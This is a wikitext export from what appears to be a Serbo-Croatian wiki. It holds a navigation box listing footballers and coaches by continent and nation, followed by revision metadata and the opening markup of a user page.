{{flagicon|NJE}} [[Joachim Löw]]{{•w}} {{flagicon|NJE}} [[Shkodran Mustafi]]{{•w}} {{flagicon|NJE}} [[Jérôme Boateng]]{{•w}} {{flagicon|NJE}} [[Julian Draxler]]{{•w}} {{flagicon|NJE}} [[Joshua Kimmich]]{{•w}} {{flagicon|NJE}} [[Jonas Hector]]{{•w}} {{flagicon|NJE}} [[Robin Gosens]]{{•w}} {{flagicon|NJE}} [[Leon Goretzka]]{{•w}} {{flagicon|NJE}} [[Youssoufa Moukoko]]{{•w}} {{flagicon|NJE}} [[Niclas Füllkrug]]{{•w}} {{flagicon|NJE}} [[Florian Wirtz]]{{•w}} {{flagicon|NJE}} [[Jamal Musiala]]{{•w}} {{flagicon|NJE}} [[Robert Andrich]]{{•w}} {{flagicon|NJE}} [[Antonio Rüdiger]]{{•w}} {{flagicon|NJE}} [[Emre Can]]{{•w}} {{flagicon|POLJ}} [[Bartosz Bosacki]]{{•w}} {{flagicon|POLJ}} [[Łukasz Fabiański]]{{•w}} {{flagicon|POLJ}} [[Artur Boruc]]{{•w}} {{flagicon|POLJ}} [[Tomasz Kuszczak]]{{•w}} {{flagicon|POLJ}} [[Mariusz Lewandowski]]{{•w}} {{flagicon|POLJ}} [[Piotr Giza]]{{•w}} {{flagicon|POLJ}} [[Ireneusz Jeleń]]{{•w}} {{flagicon|POLJ}} [[Jakub Błaszczykowski]]{{•w}} {{flagicon|POLJ}} [[Włodzimierz Smolarek]]{{•w}} {{flagicon|POLJ}} [[Robert Lewandowski]]{{•w}} {{flagicon|POLJ}} [[Arkadiusz Milik]]{{•w}} {{flagicon|POLJ}} [[Kamil Glik]]{{•w}} {{flagicon|POLJ}} [[Grzegorz Krychowiak]]{{•w}} {{flagicon|POLJ}} [[Thiago Cionek]]{{•w}} {{flagicon|POLJ}} [[Jan Bednarek]]{{•w}} {{flagicon|POLJ}} [[Karol Linetty]]{{•w}} {{flagicon|POLJ}} [[Piotr Zieliński]]{{•w}} {{flagicon|POLJ}} [[Kacper Kozłowski (fudbaler)|Kacper Kozłowski]]{{•w}} {{flagicon|POLJ}} [[Adam Buksa]]{{•w}} {{flagicon|POLJ}} [[Krzysztof Piątek]]{{•w}} {{flagicon|POLJ}} [[Grzegorz Lato]]{{•w}} {{flagicon|POR}} [[Képler Laveran Lima Ferreira|Pepe]]{{•w}} {{flagicon|POR}} [[José Mourinho]]{{•w}} {{flagicon|POR}} [[Luís Figo]]{{•w}} {{flagicon|POR}} [[Cristiano Ronaldo]]{{•w}} {{flagicon|POR}} [[Silvestre Varela]]{{•w}} {{flagicon|POR}} [[Hélder Postiga]]{{•w}} {{flagicon|POR}} [[João Moutinho]]{{•w}} {{flagicon|POR}} [[Bruno Alves]]{{•w}} {{flagicon|POR}} [[Renato Sanches]]{{•w}} {{flagicon|POR}} [[Ricardo Quaresma]]{{•w}} {{flagicon|POR}} [[Éder (portugalski fudbaler)|Éder]]{{•w}} {{flagicon|POR}} [[Rui Patrício]]{{•w}} {{flagicon|POR}} [[Raphaël Guerreiro]]{{•w}} {{flagicon|POR}} [[Diogo Jota]]{{•w}} {{flagicon|POR}} [[Ricardo Horta]]{{•w}} {{flagicon|POR}} [[Gonçalo Ramos]]{{•w}} {{flagicon|POR}} [[Francisco Conceição]]{{•w}} {{flagicon|RUM}} [[Mircea Lucescu]]{{•w}} {{flagicon|RUM}} [[Răzvan Raţ]]{{•w}} {{flagicon|RUM}} [[Ciprian Marica]]{{•w}} {{flagicon|RUM}} [[Bogdan Stancu]]{{•w}} {{flagicon|RUM}} [[Vlad Chiricheș]]{{•w}} {{flagicon|RUM}} [[Răzvan Marin]]{{•w}} {{flagicon|RUM}} [[Denis Drăguș]]{{•w}} {{flagicon|RUM}} [[Nicolae Stanciu (fudbaler, rođen 1993.)|Nicolae Stanciu]]{{•w}} {{flagicon|RUM}} [[Gheorghe Hagi]]{{•w}} {{flagicon|RUS}} [[Roman Pavljučenko]]{{•w}} {{flagicon|RUS}} [[Konstantin Zirjanov]]{{•w}} {{flagicon|RUS}} [[Andrej Aršavin]]{{•w}} {{flagicon|RUS}} [[Dmitri Torbinski]]{{•w}} {{flagicon|RUS}} [[Alan Dzagojev]]{{•w}} {{flagicon|RUS}} [[Roman Širokov]]{{•w}} {{flagicon|RUS}} [[Aleksandar Kokorin]]{{•w}} {{flagicon|RUS}} [[Aleksandar Keržakov]]{{•w}} {{flagicon|RUS}} [[Vasilij Berezucki]]{{•w}} {{flagicon|RUS}} [[Aleksej Berezucki]]{{•w}} {{flagicon|RUS}} [[Sergej Ignaševič]]{{•w}} {{flagicon|RUS}} [[Denis Glušakov]]{{•w}} {{flagicon|RUS}} [[Denis Čerišev]]{{•w}} {{flagicon|RUS}} [[Artem Dzjuba]]{{•w}} {{flagicon|RUS}} [[Fjodor Smolov]]{{•w}} {{flagicon|RUS}} [[Mário Fernandes (fudbaler)|Mário Fernandes]]{{•w}} {{flagicon|RUS}} [[Daler Kuzjajev]]{{•w}} {{flagicon|RUS}} [[Aleksej Mirančuk]]{{•w}} {{flagicon|RUS}} [[Rinat Dasajev]]{{•w}} {{flagicon|RUS}} [[Oleg Saljenko]]{{•w}} {{flagicon|RUS}} [[Valentin Ivanov (sovjetski fudbaler)|Valentin Kozmič Ivanov]]{{•w}} {{flagicon|SJI}} [[Gareth McAuley]]{{•w}} {{flagicon|SJI}} [[Niall McGinn]]{{•w}} {{flagicon|SMK}} [[Ezđan Alioski]]{{•w}} {{flagicon|SLK}} [[Ondrej Duda]]{{•w}} {{flagicon|SLK}} [[Vladimír Weiss (fudbaler rođen 1989.)|Vladimír Weiss III]]{{•w}} {{flagicon|SLK}} [[Marek Hamšík]]{{•w}} {{flagicon|SLK}} [[Martin Dúbravka]]{{•w}} {{flagicon|SLK}} [[Juraj Kucka]]{{•w}} {{flagicon|SLK}} [[Ivan Schranz]]{{•w}} {{flagicon|SLO}} [[Erik Janža]]{{•w}} {{flagicon|SLO}} [[Josip Iličić]]{{•w}} {{flagicon|SLO}} [[Jure Balkovec]]{{•w}} {{flagicon|SRB}} [[Milan Jovanović]]{{•w}} {{flagicon|SRB}} [[Marko Pantelić]]{{•w}} {{flagicon|SRB}} [[Miloš Krasić]]{{•w}} {{flagicon|SRB}} [[Zdravko Kuzmanović]]{{•w}} {{flagicon|SRB}} [[Vladan Lukić]]{{•w}} {{flagicon|SRB}} [[Ilija Petković]]{{•w}} {{flagicon|SRB}} [[Filip Kasalica]]{{•w}} {{flagicon|SRB}} [[Dragan Stojković]]{{•w}} {{flagicon|SRB}} [[Branislav Ivanović]]{{•w}} {{flagicon|SRB}} [[Boško Janković]]{{•w}} {{flagicon|SRB}} [[Vlada Avramov]]{{•w}} {{flagicon|SRB}} [[Aleksandar Mitrović (fudbaler)|Aleksandar Mitrović]]{{•w}} {{flagicon|ŠKO}} [[Callum McGregor]]{{•w}} {{flagicon|ŠKO}} [[Ryan Porteous]]{{•w}} {{flagicon|ŠPA}} [[Juan Gutiérrez Moreno|Juanito]]{{•w}} {{flagicon|ŠPA}} [[David de Gea]]{{•w}} {{flagicon|ŠPA}} [[Cesc Fàbregas]]{{•w}} {{flagicon|ŠPA}} [[Javier Clemente]]{{•w}} {{flagicon|ŠPA}} [[David Silva]]{{•w}} {{flagicon|ŠPA}} [[Jesús Navas]]{{•w}} {{flagicon|ŠPA}} [[Xabi Alonso]]{{•w}} {{flagicon|ŠPA}} [[Gerard Piqué]]{{•w}} {{flagicon|ŠPA}} [[Sergio Ramos]]{{•w}} {{flagicon|ŠPA}} [[Jordi Alba]]{{•w}} {{flagicon|ŠPA}} [[Álvaro Morata]]{{•w}} {{flagicon|ŠPA}} [[Nolito]]{{•w}} {{flagicon|ŠPA}} [[Nacho (fudbaler rođen 1990.)|Nacho]]{{•w}} {{flagicon|ŠPA}} [[Diego Costa]]{{•w}} {{flagicon|ŠPA}} [[Iago Aspas]]{{•w}} {{flagicon|ŠPA}} [[Isco]]{{•w}} {{flagicon|ŠPA}} [[Koke (fudbaler rođen 1992.)|Koke]]{{•w}} {{flagicon|ŠPA}} [[José Antonio Reyes]]{{•w}} {{flagicon|ŠPA}} [[Gerard Moreno (fudbaler)|Gerard Moreno]]{{•w}} {{flagicon|ŠPA}} [[Aymeric Laporte]]{{•w}} {{flagicon|ŠPA}} [[Pablo Sarabia]]{{•w}} {{flagicon|ŠPA}} [[Ferran Torres]]{{•w}} {{flagicon|ŠPA}} [[Pedri]]{{•w}} {{flagicon|ŠPA}} [[Mikel Oyarzabal]]{{•w}} {{flagicon|ŠPA}} [[Rodri (fudbaler, rođen 1996.)|Rodri]]{{•w}} {{flagicon|ŠPA}} [[Marco Asensio]]{{•w}} {{flagicon|ŠPA}} [[Carlos Soler (fudbaler)|Carlos Soler]]{{•w}} {{flagicon|ŠPA}} [[Fabián Ruiz]]{{•w}} {{flagicon|ŠPA}} [[Lamine Yamal]]{{•w}} {{flagicon|ŠPA}} [[Nico Williams]]{{•w}} {{flagicon|ŠPA}} [[Robin Le Normand]]{{•w}} {{flagicon|ŠPA}} [[Mikel Merino]]{{•w}} {{flagicon|ŠVE}} [[Viktor Claesson]]{{•w}} {{flagicon|ŠVE}} [[Andreas Isaksson]]{{•w}} {{flagicon|ŠVE}} [[Olof Mellberg]]{{•w}} {{flagicon|ŠVE}} [[Sebastian Larsson]]{{•w}} {{flagicon|ŠVE}} [[Zlatan Ibrahimović]]{{•w}} {{flagicon|ŠVE}} [[Andreas Granqvist]]{{•w}} {{flagicon|ŠVE}} [[Ola Toivonen]]{{•w}} {{flagicon|ŠVE}} [[Ludwig Augustinsson]]{{•w}} {{flagicon|ŠVE}} [[Emil Forsberg]]{{•w}} {{flagicon|ŠVE}} [[Sven-Göran Eriksson]]{{•w}} {{flagicon|ŠVI}} [[Blerim Džemaili]]{{•w}} {{flagicon|ŠVI}} [[Ludovic Magnin]]{{•w}} {{flagicon|ŠVI}} [[Admir Mehmedi]]{{•w}} {{flagicon|ŠVI}} [[Haris Seferović]]{{•w}} {{flagicon|ŠVI}} [[Granit Xhaka]]{{•w}} {{flagicon|ŠVI}} [[Xherdan Shaqiri]]{{•w}} {{flagicon|ŠVI}} [[Breel Embolo]]{{•w}} {{flagicon|ŠVI}} [[Fabian Schär]]{{•w}} {{flagicon|ŠVI}} [[Stephan Lichtsteiner]]{{•w}} {{flagicon|ŠVI}} [[Ricardo Rodríguez (fudbaler)|Ricardo Rodríguez]]{{•w}} {{flagicon|ŠVI}} [[Steven Zuber]]{{•w}} {{flagicon|ŠVI}} [[Josip Drmić]]{{•w}} {{flagicon|ŠVI}} [[Yann Sommer]]{{•w}} {{flagicon|ŠVI}} [[Manuel Akanji]]{{•w}} {{flagicon|ŠVI}} [[Ruben Vargas]]{{•w}} {{flagicon|ŠVI}} [[Denis Zakaria]]{{•w}} {{flagicon|ŠVI}} [[Remo Freuler]]{{•w}} {{flagicon|ŠVI}} [[Michel Aebischer]]{{•w}} {{flagicon|ŠVI}} [[Kwadwo Duah]]{{•w}} {{flagicon|ŠVI}} [[Dan Ndoye]]{{•w}} {{flagicon|ŠVI}} [[Zeki Amdouni]]{{•w}} {{flagicon|TUR}} [[Nihat Kahveci]]{{•w}} {{flagicon|TUR}} [[Semih Şentürk]]{{•w}} {{flagicon|TUR}} [[Volkan Demirel]]{{•w}} {{flagicon|TUR}} [[Uğur Boral]]{{•w}} {{flagicon|TUR}} [[Hamit Altıntop]]{{•w}} {{flagicon|TUR}} [[Emre Mor]]{{•w}} {{flagicon|TUR}} [[Ozan Tufan]]{{•w}} {{flagicon|TUR}} [[Burak Yılmaz]]{{•w}} {{flagicon|TUR}} [[Merih Demiral]]{{•w}} {{flagicon|TUR}} [[Çağlar Söyüncü]]{{•w}} {{flagicon|TUR}} [[Ahmet Yılmaz Çalık]]{{•w}} {{flagicon|TUR}} [[Halil Dervişoğlu]]{{•w}} {{flagicon|TUR}} [[İrfan Kahveci]]{{•w}} {{flagicon|TUR}} [[Kerem Aktürkoğlu]]{{•w}} {{flagicon|TUR}} [[Mert Müldür]]{{•w}} {{flagicon|TUR}} [[Samet Akaydin]]{{•w}} {{flagicon|TUR}} [[Hakan Çalhanoğlu]]{{•w}} {{flagicon|TUR}} [[Cenk Tosun]]{{•w}} {{flagicon|UKR}} [[Andrij Ševčenko]]{{•w}} {{flagicon|UKR}} [[Andrij Pjatov]]{{•w}} {{flagicon|UKR}} [[Oleksandr Šovkovski]]{{•w}} {{flagicon|UKR}} [[Bohdan Šust]]{{•w}} {{flagicon|UKR}} [[Andrij Vorobjej]]{{•w}} {{flagicon|UKR}} [[Anatolij Timoščuk]]{{•w}} {{flagicon|UKR}} [[Oleh Husjev]]{{•w}} {{flagicon|UKR}} [[Maksim Kalinjičenko]]{{•w}} {{flagicon|UKR}} [[Oleksij Bjelik]]{{•w}} {{flagicon|UKR}} [[Vjačeslav Ševčuk]]{{•w}} {{flagicon|UKR}} [[Andrij Jarmolenko]]{{•w}} {{flagicon|UKR}} [[Roman Jaremčuk]]{{•w}} {{flagicon|UKR}} [[Ruslan Malinovskij]]{{•w}} {{flagicon|UKR}} [[Artem Dovbik]]{{•w}} {{flagicon|UKR}} [[Mikola Šaparenko]]{{•w}} {{flagicon|UKR}} [[Oleg Blohin]]{{•w}} {{flagicon|WAL}} [[Hal Robson-Kanu]]{{•w}} {{flagicon|WAL}} [[Neil Taylor (fudbaler)|Neil Taylor]]{{•w}} {{flagicon|WAL}} [[Ashley Williams (fudbaler)|Ashley Williams]]{{•w}} {{flagicon|WAL}} [[Sam Vokes]]{{•w}} {{flagicon|WAL}} [[Joe Allen (fudbaler rođen 1990.)|Joe Allen]]{{•w}} {{flagicon|WAL}} [[Kieffer Moore]]{{•w}} {{flagicon|WAL}} [[Connor Roberts (fudbaler, rođen 1995.)|Connor Roberts]] {{nowrap end}} | group2 = Afrika | list2 = {{nowrap begin}} {{flagicon|ANG}} [[Luís Oliveira Gonçalves]]{{•w}} {{flagicon|ANG}} [[Flávio da Silva Amado|Flávio]]{{•w}} {{flagicon|ANG}} [[Akwá]]{{•w}} {{flagicon|ANG}} [[Manucho]]{{•w}} {{flagicon|ANG}} [[Nando Rafael]]{{•w}} {{flagicon|ANG}} [[Rui Marques]]{{•w}} {{flagicon|ANG}} [[Gilberto (angolski fudbaler)|Gilberto]]{{•w}} {{flagicon|ALŽ}} [[Abdelmoumene Djabou]]{{•w}} {{flagicon|ALŽ}} [[Islam Slimani]]{{•w}} {{flagicon|ALŽ}} [[Yacine Brahimi]]{{•w}} {{flagicon|ALŽ}} [[Sofiane Feghouli]]{{•w}} {{flagicon|ALŽ}} [[Rafik Halliche]]{{•w}} {{flagicon|BEN}} [[Stéphane Sessègnon]]{{•w}} {{flagicon|BEN}} [[Moussa Latoundji]]{{•w}} {{flagicon|BEN}} [[Oumar Tchomogo]]{{•w}} {{flagicon|EGI}} [[Mohamed Salah]]{{•w}} {{flagicon|EGI}} [[Ahmed Fathi]]{{•w}} {{flagicon|EGI}} [[Essam al-Hadari]]{{•w}} {{flagicon|Zlatna Obala}} [[Arthur Wharton]]{{•w}} {{flagicon|GAN}} [[Sammy Adjei]]{{•w}} {{flagicon|GAN}} [[Samuel Kuffour]]{{•w}} {{flagicon|GAN}} [[Stephen Appiah]]{{•w}} {{flagicon|GAN}} [[Kevin-Prince Boateng]]{{•w}} {{flagicon|GAN}} [[Emmanuel Frimpong]]{{•w}} {{flagicon|GAN}} [[Tony Yeboah]]{{•w}} {{flagicon|GAN}} [[Abedi Pele]]{{•w}} {{flagicon|GAN}} [[Asamoah Gyan]]{{•w}} {{flagicon|GAN}} [[Sulley Muntari]]{{•w}} {{flagicon|GAN}} [[Richard Kingson]]{{•w}} {{flagicon|GAN}} [[André Ayew]]{{•w}} {{flagicon|GAN}} [[John Boye]]{{•w}} {{flagicon|GAN}} [[Osman Bukari]]{{•w}} {{flagicon|GAN}} [[Mohammed Kudus]]{{•w}} {{flagicon|GAN}} [[Mohammed Salisu]]{{•w}} {{flagicon|GAN}} [[Iñaki Williams]]{{•w}} {{flagicon|CMR}} [[Joël Matip]]{{•w}} {{flagicon|CMR}} [[Roger Milla]]{{•w}} {{flagicon|CMR}} [[Jean-Charles Castelletto]]{{•w}} {{flagicon|CMR}} [[Eric Maxim Choupo-Moting]]{{•w}} {{flagicon|CMR}} [[Vincent Aboubakar]]{{•w}} {{flagicon|MAR}} [[Aziz Bouhaddouz]]{{•w}} {{flagicon|MAR}} [[Khalid Boutaïb]]{{•w}} {{flagicon|MAR}} [[Youssef En-Nesyri]]{{•w}} {{flagicon|MAR}} [[Nayef Aguerd]]{{•w}} {{flagicon|MAR}} [[Hakim Ziyech]]{{•w}} {{flagicon|MAR}} [[Romain Saïss]]{{•w}} {{flagicon|MAR}} [[Zakaria Aboukhlal]]{{•w}} {{flagicon|MAR}} [[Badr Benoun]]{{•w}} {{flagicon|MAR}} [[Abdelhamid Sabiri]]{{•w}} {{flagicon|MAR}} [[Achraf Dari]]{{•w}} {{flagicon|Nigerija}} [[Joseph Yobo]]{{•w}} {{flagicon|Nigerija}} [[Ahmed Musa]]{{•w}} {{flagicon|Nigerija}} [[Victor Moses]]{{•w}} {{flagicon|NGA}} [[Oghenekaro Etebo]]{{•w}} {{flagicon|CIV}} [[Didier Drogba]]{{•w}} {{flagicon|CIV}} [[Wilfried Bony]]{{•w}} {{flagicon|CIV}} [[Gervinho]]{{•w}} {{flagicon|SEN}} [[Ibrahima Gueye]]{{•w}} {{flagicon|SEN}} [[M'Baye Niang]]{{•w}} {{flagicon|SEN}} [[Sadio Mané]]{{•w}} {{flagicon|SEN}} [[Moussa Wagué]]{{•w}} {{flagicon|SEN}} [[Kalidou Koulibaly]]{{•w}} {{flagicon|SEN}} [[Famara Diédhiou]]{{•w}} {{flagicon|SEN}} [[Boulaye Dia]]{{•w}} {{flagicon|SEN}} [[Bamba Dieng]]{{•w}} {{flagicon|TOG}} [[Kossi Agassa]]{{•w}} {{flagicon|TOG}} [[Alaixys Romao]]{{•w}} {{flagicon|TUN}} [[Ferjani Sassi]]{{•w}} {{flagicon|TUN}} [[Yassine Meriah]]{{•w}} {{flagicon|TUN}} [[Wahbi Khazri]]{{•w}} {{flagicon|TUN}} [[Dylan Bronn]]{{•w}} {{flagicon|TUN}} [[Fakhreddine Ben Youssef]] {{nowrap end}} | group3 = Azija i Oceanija | list3 = {{nowrap begin}} {{flagicon|AUS}} [[Tim Cahill]]{{•w}} {{flagicon|AUS}} [[Mark Schwarzer]]{{•w}} {{flagicon|AUS}} [[Archie Thompson]]{{•w}} {{flagicon|AUS}} [[Harry Kewell]]{{•w}} {{flagicon|AUS}} [[Mile Jedinak]]{{•w}} {{flagicon|AUS}} [[Mark Bresciano]]{{•w}} {{flagicon|AUS}} [[Aziz Behich]]{{•w}} {{flagicon|AUS}} [[Daniel Arzani]]{{•w}} {{flagicon|AUS}} [[Craig Goodwin]]{{•w}} {{flagicon|AUS}} [[Mathew Leckie]]{{•w}} {{flagicon|FIJ}} [[Roy Krishna]]{{•w}} {{flagicon|FIJ}} [[Esala Masi]]{{•w}} {{flagicon|IRN}} [[Reza Gučan-Nežad]]{{•w}} {{flagicon|IRN}} [[Mehdi Taremi]]{{•w}} {{flagicon|IRN}} [[Karim Ansarifard]]{{•w}} {{flagicon|IRN}} [[Ruzbeh Češmi]]{{•w}} {{flagicon|IRN}} [[Ramin Rezaijan]]{{•w}} {{flagicon|JAP}} [[Hidetoshi Nakata]]{{•w}} {{flagicon|JAP}} [[Keisuke Honda]]{{•w}} {{flagicon|JAP}} [[Shinji Okazaki]]{{•w}} {{flagicon|JAP}} [[Ao Tanaka]]{{•w}} {{flagicon|JAP}} [[Kaoru Mitoma]]{{•w}} {{flagicon|JAP}} [[Daizen Maeda]]{{•w}} {{flagicon|JKO}} [[Koo Ja-cheol]]{{•w}} {{flagicon|JKO}} [[Lee Keun-ho]]{{•w}} {{flagicon|JKO}} [[Son Heung-min]]{{•w}} {{flagicon|JKO}} [[Hong Myeong-bo]]{{•w}} {{flagicon|JKO}} [[Kim Young-gwon]]{{•w}} {{flagicon|JKO}} [[Jo Gyu-seong]]{{•w}} {{flagicon|JKO}} [[Hwang Hui-chan]]{{•w}} {{flagicon|JKO}} [[Baek Seung-ho]]{{•w}} {{flagicon|KAT}} [[Sād al-Šēb]]{{•w}} {{flagicon|KAT}} [[Mohammed Muntari]]{{•w}} {{flagicon|NZL}} [[Shane Smeltz]]{{•w}} {{flagicon|SAU}} [[Salman al-Faradž]]{{•w}} {{flagicon|SAU}} [[Fahad al-Muvalad]]{{•w}} {{flagicon|SAU}} [[Salem al-Davsari]]{{•w}} {{flagicon|SAU}} [[Saleh al-Šehri]]{{•w}} {{flagicon|Sjeverna Koreja}} [[Ji Yun-Nam]]{{•w}} {{flagicon|Sjeverna Koreja}} [[Pak Sŭng-jin]]{{•w}} {{flagicon|Sjeverna Koreja}} [[Ri Dong-un]]{{•w}} {{flagicon|Sjeverna Koreja}} [[Yang Sŭng-kuk]] {{nowrap end}} | group4 = Amerike | list4 = {{nowrap begin}} {{flagicon|HON}} [[Noel Valladares]]{{•w}} {{flagicon|HON}} [[Carlo Costly]]{{•w}} {{flagicon|HON}} [[Maynor Figueroa]]{{•w}} {{flagicon|HON}} [[José Cardona]]{{•w}} {{flagicon|HON}} [[Porfirio Armando Betancourt]]{{•w}} {{flagicon|HON}} [[Gilberto Yearwood]]{{•w}} {{flagicon|HON}} [[Wilson Palacios]] {{•w}} {{flagicon|HON}} [[Milton Palacios]] {{•w}} {{flagicon|HON}} [[Jerry Palacios]] {{•w}} {{flagicon|HON}} [[Johnny Palacios]] {{•w}} {{flagicon|KAN}} [[Alphonso Davies]] {{•w}} {{flagicon|KAN}} [[Atiba Hutchinson]] {{•w}} {{flagicon|Kostarika}} [[Paulo Wanchope]]{{•w}} {{flagicon|Kostarika}} [[Joel Campbell]]{{•w}} {{flagicon|Kostarika}} [[Walter Centeno]]{{•w}} {{flagicon|Kostarika}} [[Rolando Fonseca]]{{•w}} {{flagicon|Kostarika}} [[Óscar Duarte]]{{•w}} {{flagicon|Kostarika}} [[Marco Ureña]]{{•w}} {{flagicon|Kostarika}} [[Bryan Ruiz]]{{•w}} {{flagicon|Kostarika}} [[Celso Borges]]{{•w}} {{flagicon|Kostarika}} [[Giancarlo González]]{{•w}} {{flagicon|Kostarika}} [[Christian Bolaños]]{{•w}} {{flagicon|Kostarika}} [[Michael Umaña]]{{•w}} {{flagicon|Kostarika}} [[Kendall Waston]]{{•w}} {{flagicon|Kostarika}} [[Yeltsin Tejeda]]{{•w}} {{flagicon|Kostarika}} [[Keysher Fuller]]{{•w}} {{flagicon|Kostarika}} [[Juan Pablo Vargas]]{{•w}} {{flagicon|KUB}} [[Tomás Fernández]]{{•w}} {{flagicon|KUB}} [[José Magriñá]]{{•w}} {{flagicon|KUB}} [[Héctor Socorro]]{{•w}} {{flagicon|MEX}} [[Oribe Peralta]]{{•w}} {{flagicon|MEX}} [[Rafael Márquez]]{{•w}} {{flagicon|MEX}} [[Andrés Guardado]]{{•w}} {{flagicon|MEX}} [[Javier Hernández Balcázar|Javier Hernández]]{{•w}} {{flagicon|MEX}} [[Giovani dos Santos]]{{•w}} {{flagicon|MEX}} [[Hirving Lozano]]{{•w}} {{flagicon|MEX}} [[Edson Álvarez]]{{•w}} {{flagicon|MEX}} [[Henry Martín]]{{•w}} {{flagicon|MEX}} [[Luis Chávez (fudbaler)|Luis Chávez]]{{•w}} {{flagicon|PAN}} [[Felipe Baloy]]{{•w}} {{flagicon|SAD}} [[Clint Dempsey]]{{•w}} {{flagicon|SAD}} [[John Anthony Brooks|John Brooks]]{{•w}} {{flagicon|SAD}} [[Jermaine Jones]]{{•w}} {{flagicon|SAD}} [[Julian Green]]{{•w}} {{flagicon|SAD}} [[Timothy Weah]]{{•w}} {{flagicon|SAD}} [[Haji Wright]]{{•w}} {{flagicon|TIT}} [[Dwight Yorke]] {{flagicon|ARG}} [[Diego Maradona]]{{•w}} {{flagicon|ARG}} [[Marcos Rojo]]{{•w}} {{flagicon|ARG}} [[Ezequiel Garay]]{{•w}} {{flagicon|ARG}} [[Gabriel Mercado]]{{•w}} {{flagicon|ARG}} [[Enzo Fernández (fudbaler, rođen 2001.)|Enzo Fernández]]{{•w}} {{flagicon|ARG}} [[Alexis Mac Allister]]{{•w}} {{flagicon|ARG}} [[Julián Álvarez (fudbaler)|Julián Álvarez]]{{•w}} {{flagicon|ARG}} [[Nahuel Molina]]{{•w}} {{flagicon|ARG}} [[Gonzalo Montiel]]{{•w}} {{flagicon|ARG}} [[Leandro Paredes]]{{•w}} {{flagicon|BRA}} [[Dida]]{{•w}} {{flagicon|BRA}} [[Adriano]]{{•w}} {{flagicon|BRA}} [[Kaká]]{{•w}} {{flagicon|BRA}} [[Pelé]]{{•w}} {{flagicon|BRA}} [[Marcelo]]{{•w}} {{flagicon|BRA}} [[Oscar (fudbaler rođen 1991)|Oscar]]{{•w}} {{flagicon|BRA}} [[David Luiz]]{{•w}} {{flagicon|BRA}} [[Fernandinho (fudbaler)|Fernandinho]]{{•w}} {{flagicon|BRA}} [[Thiago Silva]]{{•w}} {{flagicon|BRA}} [[Willian Borges da Silva|Willian]]{{•w}} {{flagicon|BRA}} [[Hulk (fudbaler)|Hulk]]{{•w}} {{flagicon|BRA}} [[Zico]]{{•w}} {{flagicon|BRA}} [[Leônidas da Silva]]{{•w}} {{flagicon|BRA}} [[Leovegildo Lins da Gama Júnior|Júnior]]{{•w}} {{flagicon|BRA}} [[Philippe Coutinho]]{{•w}} {{flagicon|BRA}} [[Paulinho]]{{•w}} {{flagicon|BRA}} [[Renato Augusto]]{{•w}} {{flagicon|BRA}} [[Richarlison]]{{•w}} {{flagicon|BRA}} [[Lucas Paquetá]]{{•w}} {{flagicon|BRA}} [[Rodrygo]]{{•w}} {{flagicon|BRA}} [[Pedro (fudbaler, rođen 1997.)|Pedro]]{{•w}} {{flagicon|BRA}} [[Marquinhos]]{{•w}} {{flagicon|ČIL}} [[Alexis Sánchez]]{{•w}} {{flagicon|ČIL}} [[Jean Beausejour]]{{•w}} {{flagicon|ČIL}} [[Jorge Valdívia]]{{•w}} {{flagicon|ČIL}} [[Charles Aránguiz]]{{•w}} {{flagicon|ČIL}} [[Mauricio Pinilla]]{{•w}} {{flagicon|ČIL}} [[Gonzalo Jara]]{{•w}} {{flagicon|ČIL}} [[Marcelo Díaz]]{{•w}} {{flagicon|EKV}} [[Enner Valencia]]{{•w}} {{flagicon|EKV}} [[Hernán Galíndez]]{{•w}} {{flagicon|EKV}} [[Piero Hincapié]]{{•w}} {{flagicon|EKV}} [[Jeremy Sarmiento]]{{•w}} {{flagicon|EKV}} [[Moisés Caicedo]]{{•w}} {{flagicon|KOL}} [[Mario Yepes]]{{•w}} {{flagicon|KOL}} [[Pablo Armero]]{{•w}} {{flagicon|KOL}} [[Teófilo Gutiérrez]]{{•w}} {{flagicon|KOL}} [[James Rodríguez]]{{•w}} {{flagicon|KOL}} [[Juan Guillermo Cuadrado|Juan Cuadrado]]{{•w}} {{flagicon|KOL}} [[Jackson Martínez]]{{•w}} {{flagicon|KOL}} [[Juan Fernando Quintero|Juan Quintero]]{{•w}} {{flagicon|KOL}} [[Carlos Sánchez Moreno|Carlos Sánchez]]{{•w}} {{flagicon|KOL}} [[Faryd Mondragón]]{{•w}} {{flagicon|KOL}} [[Yerry Mina]]{{•w}} {{flagicon|KOL}} [[Carlos Bacca]]{{•w}} {{flagicon|KOL}} [[Mateus Uribe]]{{•w}} {{flagicon|KOL}} [[Luis Muriel]]{{•w}} {{flagicon|KOL}} [[Radamel Falcao]]{{•w}} {{flagicon|PAR}} [[José Luis Chilavert]]{{•w}} {{flagicon|PER}} [[Christian Cueva]]{{•w}} {{flagicon|PER}} [[André Carrillo]]{{•w}} {{flagicon|PER}} [[Paolo Guerrero]]{{•w}} {{flagicon|PER}} [[Teófilo Cubillas]]{{•w}} {{flagicon|SUR}} [[Humphrey Mijnals]]{{•w}} {{flagicon|SUR}} [[André Kamperveen]]{{•w}} {{flagicon|URU}} [[Maximiliano Pereira|Maxi Pereira]]{{•w}} {{flagicon|URU}} [[José María Giménez]]{{•w}} {{flagicon|URU}} [[Pedro Rocha]]{{•w}} {{flagicon|URU}} [[Giorgian de Arrascaeta]]{{•w}} {{flagicon|URU}} [[Álvaro Recoba]]{{•w}} {{flagicon|VEN}} [[Juan Arango]]{{•w}} {{flagicon|VEN}} [[Rafael Dudamel]]{{•w}} {{flagicon|VEN}} [[Salomón Rondón]] {{nowrap end}} }} 7h8uhndtx4svtkm43oanywgwcgjaa9i 42602567 42602549 2026-05-27T15:23:49Z Edgar Allan Poe 29250 /* Sportaši */ 42602567 wikitext text/x-wiki <center> <div style="font-family: Optima, Trebuchet MS, sans-serif"> <div style="background:white; border:thin solid blue; padding:;.1em; margin: 0em 1em 1em 1em"> <div style="border: thick solid #DDDDCC;thin solid yellow"> <div style="border: thin solid blue; padding-top:.6em"> {| style="font-family:Optima, Trebuchet MS, sans-serif;" | <center>[[File:Edgar Allan Poe 2.jpg|96px|link=Korisnik:Edgar Allan Poe]]</center> | <center>[[File:Denis Diderot by Louis-Michel van Loo.jpg|96px|link=Razgovor sa korisnikom:Edgar Allan Poe]]</center> | <center>[[File:Piet Mondrian and Pétro van Doesburg.jpg|x120px|link=Korisnik:Edgar Allan Poe/Doprinosi]]</center> | <center>[[File:Benedetto da maiano, incoronazione di ferdinando I d'aragona e sei musici, 1490 ca., 01.JPG|x120px|link=Korisnik:Edgar Allan Poe/Nagrade]]</center> |- | style="margin-top:-.5em" | <center>[[Korisnik:Edgar Allan Poe|Korisnička stranica]]</center> | 